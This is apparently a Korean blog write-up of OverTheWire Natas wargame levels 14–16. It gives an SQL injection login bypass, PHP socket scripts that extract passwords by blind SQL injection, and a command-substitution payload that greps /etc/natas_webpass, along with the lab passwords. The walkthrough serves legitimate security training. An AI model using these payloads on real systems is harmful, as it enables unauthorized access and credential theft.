본문 바로가기
WEB_Security(실습)/Natas

Natas (14~16)

by Jnamelight 2017. 6. 22.

Natas14 -> 15



이번문제는 뭔가 로그인을 해야하는 것 처럼 보인다..


소스를 먼저 분석해보자!



오! sql 인젝션 문제 인것 같다.!! 많이 풀어본 문제니깐 쉽게 풀 수 있을듯!


일단 분석해보면 쿼리문을 돌려서 username 과 password 가 넘어가고 일치하는

데이터를 찾으면 패스워드를 보여주는 것 같다.


아마도 username 은 natas15로 추정된다.


그럼 쿼리문을 우회해서 한번 작성해보자



SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"


위와같은 쿼리문이니깐 username 데이터에 natas15만 주고 뒤에는 주석 처리하면

natas15가 참이니깐...!



클리어!


natas15 : AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J




Natas14 -> 15



이번엔 패스워드 입력창이 안보인다..



소스를 분석해보니 natas14 와 비슷하지만.. 결과 값은 안보여준다


그럼 우리가 생각해볼 수 있는건 

Blind Injection!!!


이유는 값이 있으면 

This user exists.


없으면

This user doesn`t exists.




역시나 natas16 이 존재하는 것을 확인



쿼리를 분석해서 한번 넘겨보자.


쿼리를 보니 평범한 인젝션 공격인듯 하다..


natas16" and ascii(substr(password,1,1))>0 #


위와같이 넘기면 존재한다고 나올 것이다.


즉 한글자씩 찾을수있다는 것인대.. 중요한 것은 32자 이상이 되는 비밀번호를 찾는것....



그래서 소켓프로그램을 이용해서 찾도록 해보자.




위와같이 소켓 프로그램을

우리가 여태 배웠던 php 를 이용해서 짜보았다.


밑에는 소스


<?php
  $stop=0;

  for($i=1;$i<32;$i++){

    for($ch=47;$ch<124;$ch++){

        $sock = socket_create( AF_INET, SOCK_STREAM, 0);
        socket_connect($sock,'natas15.natas.labs.overthewire.org',80);

        $str =  'username=natas16" and ascii(substr(password,'.$i.',1))='.$ch.'#';
         $len=strlen($str);


        $request = "POST /index.php HTTP/1.1\r\n";
        $request .= "HOST: natas15.natas.labs.overthewire.org\r\n";
        $request .= "Authorization: Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg==\r\n";
        $request .= "Referer: http://natas15.natas.labs.overthewire.org/\r\n";
        $request .= "Connection: close\r\n";
        $request .= "Content-Type: application/x-www-form-urlencoded\r\n";
        $request .= "Content-length: $len\r\n";
        $request .= "\r\n";


        $request .= 'username=natas16" and ascii(substr(password,'.$i.',1))='.$ch.'#';

        socket_send($sock, $request , strlen($request) ,0);


        $response='';

        socket_recv($sock, $response,65535,0);


        if( strstr($response,"This user exists.")){

                printf("%c",$ch);
                break;

        }

     }
  }
printf("\n");
 ?>





위와같이 비밀번호를 하나씩 찾아준다.


natas16 : WaIHEacj63wnNIBROHeqi3p9t0m5nhmh




Natas 15 -> 16



음 뭔가 단어를 입력하면 ... 단어가 포함되어 있는 단어들을 보여주는 것 같다.



위와같이 'a' 를 입력해보니 a가 포함되어 있는 단어들이 보여진다.

소스를 분석해보자!




역시 grep 명령어를 통해서 dictionary.txt  이전에 보았던 문제같은대...

필터링이 되어있다..!!


즉 grep 명령어를 우회해서 사용하지 못한다!...

이유는 "" 막아버렸기 때문에 어떤 명령어를 쓰든 단어로 받아 들일것이다..


`` 를사용하면 쿼터로 막혀있어도 명령어를 사용할수 있지만...


`` (명령어 사용) 역시 막혀있다...

그럼 여기서 어떤식으로 우회해야하는가? 



바로 $(..) 이다 이명령어는

`` 와 똑같은 역할을 한다! 위를 보고 확인


여기까지는... 알았지만 이제부터 중요하다.. 그럼 어떤식으로 명령어를 넘겨서 사용할 것인가..


정말 많이 고민했다..  명령어를 사용해도 찾을수가없다...



그러다가 grep 을 통해서 한글자씩 찾아서 넘기면 보여지지 않을까? 

라는 생각으로



위와같이 명령어를 넘겨 보니 역시 hello 가 나왔다. 

즉 다시 말해 hello 가 나왔다는 것은 hello 앞에 아무 글자도 없다는 소리!

그럼 만약 정확한 비밀번호를 넘긴다면?



이런식으로 나오지 않게 될 것이다!!



역시.. 이문제 역시 소켓 프로그램이 필요할듯 하다...



소스는


<?php
  $ans = '';
  $str ='';
  for($i=1;$i<32;$i++){

    for($ch=48;$ch<123;$ch++){

        $sock = socket_create( AF_INET, SOCK_STREAM, 0);
        socket_connect($sock,'natas16.natas.labs.overthewire.org',80);

        $tmp = chr($ch);
        $str.=$tmp;

//      echo $str;

        $request = "GET /?needle=%24%28grep+-E+%5E".$str.".*+%2Fetc%2Fnatas_webpass%2Fnatas17%29hello&submit=Search HTTP/1.1\r\n";
        $request .= "HOST: natas16.natas.labs.overthewire.org\r\n";
        $request .= "Authorization: Basic bmF0YXMxNjpXYUlIRWFjajYzd25OSUJST0hlcWkzcDl0MG01bmhtaA==\r\n";
       // $request .= "Referer: http://natas16.natas.labs.overthewire.org/\r\n";
        $request .= "\r\n";

        socket_send($sock, $request , strlen($request) ,0);

        //socket_strerror(socket_last_error());

        $response='';

        socket_recv($sock, $response,65535,0);

        //echo $response;

        if( !strstr($response,"hello")){

        $ans = $str;
        //$str = $ans;

        break;


        }
        if($ch==57){
                $ch = 64;
        }
        if($ch==90){
                $ch = 96;
        }

        $str = $ans;
     }


        $str = $ans;
        echo $ans;
        printf("\n");
  }
echo $ans;
printf("\n");

?>


natas17 : 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw

'WEB_Security(실습) > Natas' 카테고리의 다른 글

Natas ( 21~ 23 )  (0) 2017.06.27
Natas (17~20 )  (0) 2017.06.23
Natas(12~ 13)  (0) 2017.06.21
Natas(9~11)  (0) 2017.06.20
Natas(5~8)  (0) 2017.06.15

댓글